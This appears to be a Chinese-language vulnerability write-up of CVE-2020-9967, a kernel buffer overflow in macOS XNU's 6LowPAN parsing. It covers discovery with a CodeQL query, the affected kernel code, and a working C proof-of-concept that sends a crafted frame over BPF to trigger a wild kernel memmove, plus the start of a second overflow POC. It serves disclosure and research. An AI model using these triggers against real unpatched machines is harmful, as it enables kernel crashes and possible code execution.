CVE-2020-9967-Apple macOS 6LowPAN漏洞

admin 2021年4月24日02:40:23评论34 views字数 27066阅读90分13秒阅读模式


        受Kevin Backhouse在寻找XNU远程漏洞方面的伟大工作的启发,我决定花一些时间看看CodeQL,并进行一些变种分析。这导致了在macOS 10.15.4的6LowPAN代码中发现了一个本地根到内核(虽然被苹果记录为远程)的漏洞。


该问题已于2020年5月11日报告给苹果。


这个问题被分配为CVE-2020-9967,修复方法包含在下面的安全更新中。


macOS Big Sur

2020年12月5日,苹果公司表示,已经公布了所有适用平台的CVE。


错误发现


        在XNU中,入站和出站的网络数据包被存储在一个称为mbuf的内存管理单元中。数据通常由操作系统的网络栈代码读取或写入mbuf中。


        我的思考过程是,我可以定义一个简单的污点跟踪查询,以找到任何不受信任的网络数据来源(源),最终会污染内存复制操作的大小参数(汇)。我最初从这里开始修改查询,寻找源头m_mtod和sink builtin___memcpy_chk。这导致没有找到任何结果。然而,在XNU内部,bcopy被大量使用,这最终会变成buildin___memmove_chk,所以查询被修改如下。


import cppimport semmle.code.cpp.dataflow.TaintTrackingimport DataFlow::PathGraphimport semmle.code.cpp.rangeanalysis.SimpleRangeAnalysis
class Config extends TaintTracking::Configuration { Config() { this = "sixlowpan_flow" }
override predicate isSource(DataFlow::Node source) { source.asExpr().(FunctionCall).getTarget().getName() = "m_mtod" }
override predicate isSink(DataFlow::Node sink) { exists (FunctionCall call | call.getArgument(2) = sink.asExpr() and call.getTarget().getName() = "__builtin___memmove_chk" ) }}
from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sinkwhere cfg.hasFlowPath(source, sink)select sink, source, sink, "memmove with tainted size."


运行这个查询,我得到了大约15个结果,我发现的漏洞是其中之一。


通过查看结果,我发现这个这个流程值得人工调查。


call to m_mtod   if_6lowpan.c:623:2len   if_6lowpan.c:663:41ref arg & ... [payload_len]   if_6lowpan.c:663:46& ... [payload_len]   if_6lowpan.c:666:19ieee02154hdr [payload_len]   sixxlowpan.c:882:38ieee02154hdr [payload_len]   sixxlowpan.c:886:32ieee02154hdr [payload_len]   sixxlowpan.c:819:43ieee02154hdr [payload_len]   sixxlowpan.c:855:7payload_len   sixxlowpan.c:855:21... - ...   sixxlowpan.c:855:7


这证明了为代码库提供定制化的CodeQL查询来识别常见错误模式的力量。


在我深入研究我在这里发现的漏洞之前,了解一下6LowPAN的背景是有帮助的。


6LowPAN

原来作为macOS Catalina 10.15的一部分,苹果悄悄地在xnu内核中引入了对6LowPAN 6LowPAN和IEEE 802.15.4的支持。任何引入xnu的实质性变化都值得调查,因为这些很可能是引入新漏洞的来源。6LowPAN 是 "IPv6 over Low-Power Wireless Persona Area Networks "的缩写,顾名思义,它是一种网络技术,允许在小型链路层帧(如 IEEE 802.15.4)中有效地传输 IPv6 数据包。


该协议的相关RFC是RFC4944、RFC6282和RFC6775。


给大家介绍一下背景,IEEE 802.15.4是定义低速率无线个人区域网(LR-WPAN)操作的标准,并规定了LR-WPAN的物理层和媒体接入层。6LowPAN扩展了该标准,提供了802.15.4中没有定义的上层。一个流行的物联网协议Thread利用了6LowPAN,顺便说一下,苹果在2018年加入了Thread工作组......:)。)


在XNU内核源中,frame802154.c包含了802.15.4帧创建和解析的实现。if_6lowpan.c包含了6LowPAN网络接口的相关代码,sixlowpan.c则是6LowPAN的压缩和解压缩。其中很大一部分是从Contiki OS中提取的,并经过苹果的修改和封装代码。


目前还没有公开的文档,唯一公开提到的是关于Thread HomePod mini。


IEEE 802.15.4 帧格式

第2层(协议栈内的MAC层)在IEEE标准802.15.4-2015中的 "通用MAC帧格式 "7.2节中定义:


CVE-2020-9967-Apple macOS 6LowPAN漏洞



帧控制字段如下:


CVE-2020-9967-Apple macOS 6LowPAN漏洞


IPv6数据包必须在数据帧上进行。当我们在 "漏洞部分 "中讨论XNU代码库内的解析时,这些细节将很重要。帧已经被解析以确定头,然后有效载荷部分被处理。


LoWPAN有效载荷

由于一个完整的IPv6数据包不适合IEEE 802.15.4帧,必须提供一个适应层,以符合IPv6对最小MTU的要求。该标准还定义了头压缩的使用,因为预计大多数应用将在IEEE 802.15.4上使用IP。


因此,LoWPAN有效载荷(例如,一个IPv6数据包)遵循上述的封装头。


值得注意的是,一个IPv6头也有40个八位字节长。


在初始标准中,定义了LOWPAN_HC1压缩的IPv6数据报。这意味着6LowPAN有效载荷在接收时是被压缩的。这也将是理解该漏洞时的一个重要观察。


数据链路层调度

问题是,我们如何将6LowPAN帧送到苹果设备上,是否会自动处理?仔细研究代码,我们可以看到数据链路层有能力调度这种类型的帧。


最初我们可以发送一个以太网数据包,它将由demux函数处理:


intether_demux(ifnet_t ifp, mbuf_t m, char *frame_header,    protocol_family_t *protocol_family){  struct ether_header *eh = (struct ether_header *)(void *)frame_header;  u_short  ether_type = eh->ether_type;  u_int16_t type;  u_int8_t *data;  u_int32_t i = 0;  struct ether_desc_blk_str *desc_blk =      (struct ether_desc_blk_str *)ifp->if_family_cookie;  u_int32_t maxd = desc_blk ? desc_blk->n_max_used : 0;  struct en_desc  *ed = desc_blk ? desc_blk->block_ptr : NULL;  u_int32_t extProto1 = 0;  u_int32_t extProto2 = 0;
if (eh->ether_dhost[0] & 1) { /* Check for broadcast */ if (_ether_cmp(etherbroadcastaddr, eh->ether_dhost) == 0) { m->m_flags |= M_BCAST; } else { m->m_flags |= M_MCAST; } }
if (m->m_flags & M_HASFCS) { /* * If the M_HASFCS is set by the driver we want to make sure * that we strip off the trailing FCS data before handing it * up the stack. */ m_adj(m, -ETHER_CRC_LEN); m->m_flags &= ~M_HASFCS; }
if ((eh->ether_dhost[0] & 1) == 0) { /* * When the driver is put into promiscuous mode we may receive * unicast frames that are not intended for our interfaces. * They are marked here as being promiscuous so the caller may * dispose of them after passing the packets to any interface * filters. */ if (_ether_cmp(eh->ether_dhost, IF_LLADDR(ifp))) { m->m_flags |= M_PROMISC; } }
/* check for IEEE 802.15.4 */ if (ether_type == htons(ETHERTYPE_IEEE802154)) { *protocol_family = PF_802154; return 0; }


如果ethernet头中的ether_type是ETHERTYPE_IEEE802154,那么我们将协议家族设置为PF_802154。


现在在默认配置中,除非配置了6lowpan接口,否则这个协议家族不会被处理,这导致下面的代码注册了一个函数fixlowpan_input,这个函数将在处理802.15.4帧时被调用。


/* * Function: sixlowpan_attach_protocol * Purpose: *   Attach a DLIL protocol to the interface *   The ethernet demux actually special cases 802.15.4. *   The demux here isn't used. The demux will return PF_802154 for the *   appropriate packets and our sixlowpan_input function will be called. */static intsixlowpan_attach_protocol(struct ifnet *ifp){  int     error;  struct ifnet_attach_proto_param reg;
bzero(&reg, sizeof(reg)); reg.input = sixlowpan_input; reg.detached = sixlowpan_detached; error = ifnet_attach_protocol(ifp, PF_802154, &reg); if (error) { printf("%s(%s%d) ifnet_attach_protocol failed, %dn", __func__, ifnet_name(ifp), ifnet_unit(ifp), error); } return error;}


漏洞详情

        

        好了,现在我们终于把背景信息说清楚了,我将描述一下发现的漏洞。调用sixlowpan_input函数对802.15.4数据帧进行解构,具体如下。


/* * 6lowpan input routine. * Decapsulate the 802.15.4 Data Frame * Header decompression on the payload * Pass the mbuf to the IPV6 protocol stack using proto_input() */static intsixlowpan_input(ifnet_t p, __unused protocol_family_t protocol,    mbuf_t m, __unused char *frame_header){  frame802154_t      ieee02154hdr;  u_int8_t           *payload = NULL;  if6lpan_ref        ifl = NULL;  bpf_packet_func    bpf_func;  mbuf_t mc, m_temp;  int off, err = 0;  u_int16_t len;
/* Allocate an mbuf cluster for the 802.15.4 frame and uncompressed payload */ mc = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR); if (mc == NULL) { err = -1; goto err_out; }
memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len); // This is the size read from the frame on the wire. m_adj(m, sizeof(u_int16_t)); /* Copy the compressed 802.15.4 payload from source mbuf to allocated cluster mbuf */ for (m_temp = m, off = 0; m_temp != NULL; m_temp = m_temp->m_next) { if (m_temp->m_len > 0) { m_copyback(mc, off, m_temp->m_len, mtod(m_temp, void *)); off += m_temp->m_len; } }
p = p_6lowpan_ifnet; mc->m_pkthdr.rcvif = p;
sixlowpan_lock(); ifl = ifnet_get_if6lpan_retained(p);
if (ifl == NULL) { sixlowpan_unlock(); err = -1; goto err_out; }
if (if6lpan_flags_ready(ifl) == 0) { if6lpan_release(ifl); sixlowpan_unlock(); err = -1; goto err_out; }
bpf_func = ifl->if6lpan_bpf_input; sixlowpan_unlock(); if6lpan_release(ifl);
if (bpf_func) { bpf_func(p, mc); }
/* Parse the 802.15.4 frame header */ bzero(&ieee02154hdr, sizeof(ieee02154hdr)); frame802154_parse(mtod(mc, uint8_t *), len, &ieee02154hdr, &payload);
/* XXX Add check for your link layer address being dest */ sixxlowpan_input(&ieee02154hdr, payload);


首先,m_getcl为传入的802.15.4帧和未压缩的有效载荷分配一个mbuf集群mc。


集群mbuf的大小是2048字节的MCLBYTES。大于这个大小的数据会被复制到多个mbuf的链上。


正如你在这里看到的,len是从传入的mbuf m中读取的,并且是完全由攻击者控制的。


然后,m_adj被用来从mbuf链的头部修剪这两个字节。


然后将压缩后的802.15.4有效载荷从源mbuf m复制到分配的集群mbuf mc。


然后将集群mbuf的数据指针与攻击者控制的len值一起传递给frame802154_parse。


这有一些明显的问题,比如如果mbuf内的数据小于mc内的帧长度怎么办。


/*----------------------------------------------------------------------------*//** *   brief Parses an input frame.  Scans the input frame to find each *   section, and stores the information of each section in a *   frame802154_t structure. * *   param data The input data from the radio chip. *   param len The size of the input data *   param pf The frame802154_t struct to store the parsed frame information. */intframe802154_parse(uint8_t *data, int len, frame802154_t *pf, uint8_t **payload){  uint8_t *p;  frame802154_fcf_t fcf;  int c;#if LLSEC802154_USES_EXPLICIT_KEYS  uint8_t key_id_mode;#endif /* LLSEC802154_USES_EXPLICIT_KEYS */
if (len < 3) { return 0; }
p = data;
/* decode the FCF */ fcf.frame_type = p[0] & 7; fcf.security_enabled = (p[0] >> 3) & 1; fcf.frame_pending = (p[0] >> 4) & 1; fcf.ack_required = (p[0] >> 5) & 1; fcf.panid_compression = (p[0] >> 6) & 1;
fcf.dest_addr_mode = (p[1] >> 2) & 3; fcf.frame_version = (p[1] >> 4) & 3; fcf.src_addr_mode = (p[1] >> 6) & 3;
/* copy fcf and seqNum */ memcpy(&pf->fcf, &fcf, sizeof(frame802154_fcf_t)); pf->seq = p[2]; p += 3; /* Skip first three bytes */
/* Destination address, if any */ if (fcf.dest_addr_mode) { /* Destination PAN */ pf->dest_pid = p[0] + (p[1] << 8); p += 2;
/* Destination address */ /* l = addr_len(fcf.dest_addr_mode); */ /* for(c = 0; c < l; c++) { */ /* pf->dest_addr.u8[c] = p[l - c - 1]; */ /* } */ /* p += l; */ if (fcf.dest_addr_mode == FRAME802154_SHORTADDRMODE) { linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null); pf->dest_addr[0] = p[1]; pf->dest_addr[1] = p[0]; p += 2; } else if (fcf.dest_addr_mode == FRAME802154_LONGADDRMODE) { for (c = 0; c < 8; c++) { pf->dest_addr[c] = p[7 - c]; } p += 8; } } else { linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null); pf->dest_pid = 0; }
/* Source address, if any */ if (fcf.src_addr_mode) { /* Source PAN */ if (!fcf.panid_compression) { pf->src_pid = p[0] + (p[1] << 8); p += 2; } else { pf->src_pid = pf->dest_pid; }
/* Source address */ /* l = addr_len(fcf.src_addr_mode); */ /* for(c = 0; c < l; c++) { */ /* pf->src_addr.u8[c] = p[l - c - 1]; */ /* } */ /* p += l; */ if (fcf.src_addr_mode == FRAME802154_SHORTADDRMODE) { linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null); pf->src_addr[0] = p[1]; pf->src_addr[1] = p[0]; p += 2; } else if (fcf.src_addr_mode == FRAME802154_LONGADDRMODE) { for (c = 0; c < 8; c++) { pf->src_addr[c] = p[7 - c]; } p += 8; } } else { linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null); pf->src_pid = 0; }
#if LLSEC802154_SECURITY_LEVEL if (fcf.security_enabled) { pf->aux_hdr.security_control.security_level = p[0] & 7;#if LLSEC802154_USES_EXPLICIT_KEYS pf->aux_hdr.security_control.key_id_mode = (p[0] >> 3) & 3;#endif /* LLSEC802154_USES_EXPLICIT_KEYS */ p += 1;
memcpy(pf->aux_hdr.frame_counter.u8, p, 4); p += 4;
#if LLSEC802154_USES_EXPLICIT_KEYS key_id_mode = pf->aux_hdr.security_control.key_id_mode; if (key_id_mode) { c = (key_id_mode - 1) * 4; memcpy(pf->aux_hdr.key_source.u8, p, c); p += c; pf->aux_hdr.key_index = p[0]; p += 1; }#endif /* LLSEC802154_USES_EXPLICIT_KEYS */ }#endif /* LLSEC802154_SECURITY_LEVEL */
/* header length */ c = p - data; /* payload length */ pf->payload_len = (len - c); /* payload */ *payload = p;
/* return header length if successful */ return c > len ? 0 : c;}

/** brief Parameters used by the frame802154_create() function. These * parameters are used in the 802.15.4 frame header. See the 802.15.4 * specification for details. */struct frame802154 { /* The fields dest_addr and src_addr must come first to ensure they are aligned to the * CPU word size. Needed as they are accessed directly as linkaddr_t*. Note we cannot use * the type linkaddr_t directly here, as we always need 8 bytes, not LINKADDR_SIZE bytes. */ uint8_t dest_addr[8]; /**< Destination address */ uint8_t src_addr[8]; /**< Source address */ frame802154_fcf_t fcf; /**< Frame control field */ uint8_t seq; /**< Sequence number */ uint16_t dest_pid; /**< Destination PAN ID */ uint16_t src_pid; /**< Source PAN ID */ frame802154_aux_hdr_t aux_hdr; /**< Aux security header */ //uint8_t *payload; /**< Pointer to 802.15.4 payload */ int payload_len; /**< Length of payload field */};typedef struct frame802154 frame802154_t;


关于这个函数和调用者,有一些关键的观察。


如果len<3,那么函数将返回0,并且不初始化payload指针(也就是一个NULL指针)。

frame802154_parse的返回值不会被检查。因此,这可能导致头长度>有效载荷的情况。

由于我们可以将len控制在0-0xffff的值之间,所以我们可以使pf->payload_len为负值(对-header_len),小于预期的大小或者大于mc中输入数据本身的大小。

那么在这些情况下会发生什么呢?


errno_tsixxlowpan_input(struct frame802154 *ieee02154hdr, u_int8_t *payload){  errno_t error = 0;
error = sixxlowpan_uncompress(ieee02154hdr, payload); if (error != 0) { goto done; }
/* * TO DO: fragmentation */
done: return error;}


然后对有效载荷进行解压:


errno_tsixxlowpan_uncompress(struct frame802154 *ieee02154hdr, u_int8_t *payload){  long hdroffset;  size_t hdrlen;  u_int8_t hdrbuf[128];  errno_t error;
bzero(hdrbuf, sizeof(hdrbuf)); hdrlen = sizeof(hdrbuf);
error = uncompress_hdr_hc1(ieee02154hdr, (u_int8_t *)payload, 0, &hdroffset, &hdrlen, hdrbuf);
if (error != 0) { return error; }
if (hdroffset < 0) { /* * hdroffset negative means that we have to remove * hdrlen of extra stuff */ memmove(&payload[0], &payload[hdrlen], ieee02154hdr->payload_len - hdrlen); ieee02154hdr->payload_len -= hdrlen; } else { /* * hdroffset is the size of the compressed header * -- i.e. when the untouched data starts * * hdrlen is the size of the decompressed header * that takes the place of compressed header of size hdroffset */ memmove(payload + hdrlen, payload + hdroffset, ieee02154hdr->payload_len - hdroffset); memcpy(payload, hdrbuf, hdrlen); ieee02154hdr->payload_len += hdrlen - hdroffset; }
return 0;}


从解压功能来看:


/*--------------------------------------------------------------------*//** * brief Uncompress HC1 (and HC_UDP) headers and put them in * sicslowpan_buf * * This function is called by the input function when the dispatch is * HC1. * We %process the packet in the packetbuf buffer, uncompress the header * fields, and copy the result in the sicslowpan buffer. * At the end of the decompression, packetbuf_hdr_len and uncompressed_hdr_len * are set to the appropriate values * * param ip_len Equal to 0 if the packet is not a fragment (IP length * is then inferred from the L2 length), non 0 if the packet is a 1st * fragment. */errno_tuncompress_hdr_hc1(struct frame802154 *frame, u_int8_t *payload,    uint16_t ip_len, long *hdroffset, size_t *hdrlen, u_int8_t *hdrbuf){  struct ip6_hdr *ip6 = (struct ip6_hdr *)hdrbuf;
if (payload[PACKETBUF_HC1_DISPATCH] == SICSLOWPAN_DISPATCH_IPV6) { *hdroffset = -SICSLOWPAN_IPV6_HDR_LEN; *hdrlen = SICSLOWPAN_IPV6_HDR_LEN; return 0; }
*hdroffset = 0;
/* version, traffic class, flow label */ ip6->ip6_flow = 0; ip6->ip6_vfc = IPV6_VERSION;
/* src and dest ip addresses */ uip_ip6addr_u8(&ip6->ip6_src, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); uip_ds6_set_addr_iid(&ip6->ip6_src, (uip_lladdr_t *)frame->src_addr);
uip_ip6addr_u8(&ip6->ip6_dst, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); uip_ds6_set_addr_iid(&ip6->ip6_dst, (uip_lladdr_t *)frame->dest_addr);
*hdrlen = UIP_IPH_LEN;
/* Next header field */ switch (payload[PACKETBUF_HC1_ENCODING] & 0x06) { case SICSLOWPAN_HC1_NH_ICMP6: ip6->ip6_nxt = IPPROTO_ICMPV6; ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL]; *hdroffset = SICSLOWPAN_HC1_HDR_LEN; break;
case SICSLOWPAN_HC1_NH_TCP: ip6->ip6_nxt = IPPROTO_TCP; ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL]; *hdroffset = SICSLOWPAN_HC1_HDR_LEN; break;
case SICSLOWPAN_HC1_NH_UDP: ip6->ip6_nxt = IPPROTO_UDP; if (payload[PACKETBUF_HC1_HC_UDP_HC1_ENCODING] & 0x01) { struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;
/* UDP header is compressed with HC_UDP */ if (payload[PACKETBUF_HC1_HC_UDP_UDP_ENCODING] != SICSLOWPAN_HC_UDP_ALL_C) { printf("sicslowpan (uncompress_hdr), packet not supported"); return EINVAL; } /* IP TTL */
ip6->ip6_hlim = payload[PACKETBUF_HC1_HC_UDP_TTL]; /* UDP ports, len, checksum */ udp->uh_sport = htons(SICSLOWPAN_UDP_PORT_MIN + (payload[PACKETBUF_HC1_HC_UDP_PORTS] >> 4)); udp->uh_dport = htons(SICSLOWPAN_UDP_PORT_MIN + (payload[PACKETBUF_HC1_HC_UDP_PORTS] & 0x0F));
memcpy(&udp->uh_sum, &payload[PACKETBUF_HC1_HC_UDP_CHKSUM], 2); *hdrlen += UIP_UDPH_LEN; *hdroffset = SICSLOWPAN_HC1_HC_UDP_HDR_LEN; } else { ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL]; *hdroffset = SICSLOWPAN_HC1_HDR_LEN; } break;
default: /* this shouldn't happen, drop */ return EINVAL; }
/* IP length field. */ if (ip_len == 0) { size_t len = frame->payload_len - *hdroffset + *hdrlen - sizeof(struct ip6_hdr);
/* This is not a fragmented packet */ SET16(&ip6->ip6_plen, len); } else { /* This is a 1st fragment */ SET16(&ip6->ip6_plen, ip_len - UIP_IPH_LEN); } /* length field in UDP header */ if (ip6->ip6_nxt == IPPROTO_UDP) { struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;
memcpy(&udp->uh_ulen, &ip6->ip6_plen, 2); } return 0;}


我们可以通过这个函数观察到以下情况。


它希望mbuf中至少有40字节的IPv6头*hdrlen可用。

它不期望有效载荷大小小于头。

ip_len总是0。

如果我们忽略所有潜在的出界读:),我们可以将这个问题用于下面的出界写。


len的下溢导致一个巨大的值被传递给memmove(狂写).

因此,如果我们将接收到的帧的len设置为0x4,我们最终会在frame802154_parse中计算出以下值。


c header length = 3 frame->payload_len = 1


然后,我们可以看到,通过设置SICSLOWPAN_HC1_NH_UDP,我们最终在uncompress_hdr_hc1中得到以下值。


*hdroffset = SICSLOWPAN_HC1_HDR_LEN; 即 *hdroffset = 3。


*hdrlen = UIP_IPH_LEN; 即 *hdrlen = 40。


sizeof(struct ip6_hdr) = 40


因此,当我们返回到 sixxlowpan_uncompress 函数:


/*     * hdroffset is the size of the compressed header     * -- i.e. when the untouched data starts     *     * hdrlen is the size of the decompressed header     * that takes the place of compressed header of size hdroffset     */    memmove(payload + hdrlen,        payload + hdroffset,        ieee02154hdr->payload_len - hdroffset);    memcpy(payload, hdrbuf, hdrlen);


我们在payload+40处有一个写(在mc mbuf集群中,由攻击者从源payload缓冲区控制的数据,ieee02154hdr->payload_len - 3 = -2长度。


POC 1


/***
Apple XNU 6LowPAN POCCatalina 10.15.4
POC 1: Wild memmove trigger with an underflow.
Run this on target machine (or local system if testing locally):sudo ifconfig 6lowpan createsudo ifconfig 6lowpan0 upsudo ifconfig 6lowpan0 6lowpansetdev en0
***/
#include <sys/types.h>#include <sys/uio.h>#include <unistd.h>#include <stdlib.h>#include <stdio.h>#include <fcntl.h>#include <string.h>#include <sys/ioctl.h>#include <sys/socket.h>#include <arpa/inet.h>#include <net/if.h>#include <net/ethernet.h>#include <net/bpf.h>
// Set these to source and target unsigned char dest_mac[ETHER_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};unsigned char src_mac[ETHER_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
struct frame_t { struct ether_header header; unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN]; ssize_t len; ssize_t payload_len;};
// Open bpf deviceint open_bpf_device(){ char buf[11] = {}; int bpf = 0; for(int i = 0; i < 99; i++) { sprintf(buf,"/dev/bpf%i",i); bpf = open(buf,O_RDWR); if( bpf != -1 ) { printf("Opened device /dev/bpf%in", i); break; } } if(bpf == -1) { printf("Cannot open any /dev/bpf* device, exitingn"); exit(1); } return bpf; }
// Associate devicevoid assoc_dev(int bpf, char* interface){ struct ifreq bound_if; strcpy(bound_if.ifr_name, interface); if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) { printf("Cannot bind bpf device to physical device %s, exitingn", interface); exit(1); } printf("Bound bpf device to physical device %sn", interface);}
// Write trigger framevoid write_single_frame(int bpf) { ssize_t data_length = 32;
struct frame_t frame; memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN); memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);
// 802.15.4 frame type. frame.header.ether_type = 0x908; frame.len = (2*ETHER_ADDR_LEN) + ETHER_TYPE_LEN + data_length;
// Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len); frame.payload[0] = 0; frame.payload[1] = 4;
// This is the start of the "data" passed to frame802154_parse and considered frame header // m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *) // These are used for the FCF (no flags set) frame.payload[2] = 0; frame.payload[3] = 0; frame.payload[4] = 0;
// As none FCF are set p+=3 bytes. // header length // c = p - data; // c = 3 // payload length // pf->payload_len = (4 - 3); // pf->payload_len = 1
// This is the start of our payload passed to sixxlowpan_uncompress frame.payload[5] = 0; frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP
// Just pad the frame with 'A'. for (int j = 7; j < 32; j++) { frame.payload[j] = 0x41; }
ssize_t bytes_sent; bytes_sent = write(bpf, &frame, frame.len); if(bytes_sent > 0) { printf("Bytes sent: %ldn", bytes_sent); } else { perror("Error sending frame"); exit(1); }}
int main(int argc, char *argv[]){ char* interface = "en0";
int bpf; bpf = open_bpf_device(); assoc_dev(bpf, interface); write_single_frame(bpf);
return 0; }


在下面的POC 1代码中,我使1 - 3 = -2触发了一次巨大的写入,使问题明显地被发现。


我们可以通过下面的调试输出来确认:


(lldb) disaskernel`sixxlowpan_uncompress:    0xffffff8003ffa0b0 <+0>:   push   rbp    0xffffff8003ffa0b1 <+1>:   mov    rbp, rsp    0xffffff8003ffa0b4 <+4>:   push   r15    0xffffff8003ffa0b6 <+6>:   push   r14    0xffffff8003ffa0b8 <+8>:   push   r13    0xffffff8003ffa0ba <+10>:  push   r12    0xffffff8003ffa0bc <+12>:  push   rbx    0xffffff8003ffa0bd <+13>:  sub    rsp, 0x98    0xffffff8003ffa0c4 <+20>:  mov    r15, rsi    0xffffff8003ffa0c7 <+23>:  mov    r14, rdi    0xffffff8003ffa0ca <+26>:  lea    rax, [rip + 0x4a1f9f]     ; __stack_chk_guard    0xffffff8003ffa0d1 <+33>:  mov    rax, qword ptr [rax]    0xffffff8003ffa0d4 <+36>:  mov    qword ptr [rbp - 0x30], rax    0xffffff8003ffa0d8 <+40>:  int3       0xffffff8003ffa0d9 <+41>:  mov    dword ptr [rbp - 0xc0], 0x0    0xffffff8003ffa0e3 <+51>:  mov    qword ptr [rbp - 0x38], 0x0    0xffffff8003ffa0eb <+59>:  mov    qword ptr [rbp - 0x40], 0x0    0xffffff8003ffa0f3 <+67>:  mov    qword ptr [rbp - 0x48], 0x0    0xffffff8003ffa0fb <+75>:  mov    qword ptr [rbp - 0x50], 0x0    0xffffff8003ffa103 <+83>:  mov    qword ptr [rbp - 0x58], 0x0    0xffffff8003ffa10b <+91>:  mov    qword ptr [rbp - 0x60], 0x0    0xffffff8003ffa113 <+99>:  mov    qword ptr [rbp - 0x68], 0x0    0xffffff8003ffa11b <+107>: mov    qword ptr [rbp - 0x70], 0x0    0xffffff8003ffa123 <+115>: mov    qword ptr [rbp - 0x78], 0x0    0xffffff8003ffa12b <+123>: mov    qword ptr [rbp - 0x80], 0x0    0xffffff8003ffa133 <+131>: mov    qword ptr [rbp - 0x88], 0x0    0xffffff8003ffa13e <+142>: mov    qword ptr [rbp - 0x90], 0x0    0xffffff8003ffa149 <+153>: mov    qword ptr [rbp - 0x98], 0x0    0xffffff8003ffa154 <+164>: mov    qword ptr [rbp - 0xa0], 0x0    0xffffff8003ffa15f <+175>: mov    qword ptr [rbp - 0xa8], 0x0    0xffffff8003ffa16a <+186>: mov    qword ptr [rbp - 0xb0], 0x0    0xffffff8003ffa175 <+197>: lea    rbx, [rbp - 0xb0]    0xffffff8003ffa17c <+204>: mov    esi, 0x80    0xffffff8003ffa181 <+209>: mov    rdi, rbx    0xffffff8003ffa184 <+212>: call   0xffffff80039980f0        ; bzero
0xffffff8003ffa189 <+217>: mov qword ptr [rbp - 0xb8], 0x80 0xffffff8003ffa194 <+228>: lea rcx, [rbp - 0xc0] 0xffffff8003ffa19b <+235>: lea r8, [rbp - 0xb8] 0xffffff8003ffa1a2 <+242>: mov rdi, r14 0xffffff8003ffa1a5 <+245>: mov rsi, r15 0xffffff8003ffa1a8 <+248>: xor edx, edx 0xffffff8003ffa1aa <+250>: mov r9, rbx 0xffffff8003ffa1ad <+253>: call 0xffffff8003ff9d70 ; uncompress_hdr_hc1 at sixxlowpan.c:679
0xffffff8003ffa1b2 <+258>: mov ebx, eax 0xffffff8003ffa1b4 <+260>: test eax, eax 0xffffff8003ffa1b6 <+262>: jne 0xffffff8003ffa210 ; <+352> at sixxlowpan.c 0xffffff8003ffa1b8 <+264>: mov r13, qword ptr [rbp - 0xc0] 0xffffff8003ffa1bf <+271>: mov r12, qword ptr [rbp - 0xb8] 0xffffff8003ffa1c6 <+278>: lea rsi, [r15 + r12] 0xffffff8003ffa1ca <+282>: test r13, r13 0xffffff8003ffa1cd <+285>: js 0xffffff8003ffa1fa ; <+330> at sixxlowpan.c:841:3
0xffffff8003ffa1cf <+287>: lea rdi, [r15 + r13] 0xffffff8003ffa1d3 <+291>: movsxd rdx, dword ptr [r14 + 0x34] 0xffffff8003ffa1d7 <+295>: int3 0xffffff8003ffa1d8 <+296>: sub edx, ebp-> 0xffffff8003ffa1da <+298>: call 0xffffff8003998070 ; bcopy

(lldb) register read General Purpose Registers: rax = 0x0000000000000000 rbx = 0x0000000000000000 rcx = 0xffffff80669e3d28 rdx = 0xfffffffffffffffe rdi = 0xffffff80602e1806 rsi = 0xffffff80602e182b rbp = 0xffffff80669e3cf0 rsp = 0xffffff80669e3c30 r8 = 0xffffff80669e3c38 r9 = 0xffffff80669e3c40 r10 = 0x0000000000000000 r11 = 0x0000000000000003 r12 = 0x0000000000000028 r13 = 0x0000000000000003 r14 = 0xffffff80669e3d28 r15 = 0xffffff80602e1803 rip = 0xffffff8003ffa1da kernel`sixxlowpan_uncompress + 298 [inlined] memmove at subrs.c:703 kernel`sixxlowpan_uncompress + 298 [inlined] __memmove_chk at sixxlowpan.c:853 kernel`sixxlowpan_uncompress + 298 at sixxlowpan.c:853 rflags = 0x0000000000000393 cs = 0x0000000000000008 fs = 0x00000000ffff0000 gs = 0x00000000669e0000


POC 2 - 溢出


然而,我们可以用大的有效载荷大小触发更可控的内存损坏,这也有可能被用于代码执行。


例如,使用以下参数。


len = 0xffff


pf->payload_len = (0xffffff - 3); = 65532 pf->payload_len = 0xfffc


最终,memmove在有效载荷+40处对攻击者来源的数据进行写入,大小为0xfffc-40=(0xfff9)65529。


POC 2演示了这一点。


/***
Apple XNU 6LowPAN POCCatalina 10.15.4
POC 2: Write 0xffd4 bytes - overflow
Run this on target machine (or local system if testing locally):sudo ifconfig 6lowpan createsudo ifconfig 6lowpan0 upsudo ifconfig 6lowpan0 6lowpansetdev en0
***/
#include <sys/types.h>#include <sys/uio.h>#include <unistd.h>#include <stdlib.h>#include <stdio.h>#include <fcntl.h>#include <string.h>#include <sys/ioctl.h>#include <sys/socket.h>#include <arpa/inet.h>#include <net/if.h>#include <net/ethernet.h>#include <net/bpf.h>
// Set these to source and target unsigned char dest_mac[ETHER_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};unsigned char src_mac[ETHER_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
struct frame_t { struct ether_header header; unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN]; ssize_t len; ssize_t payload_len;};
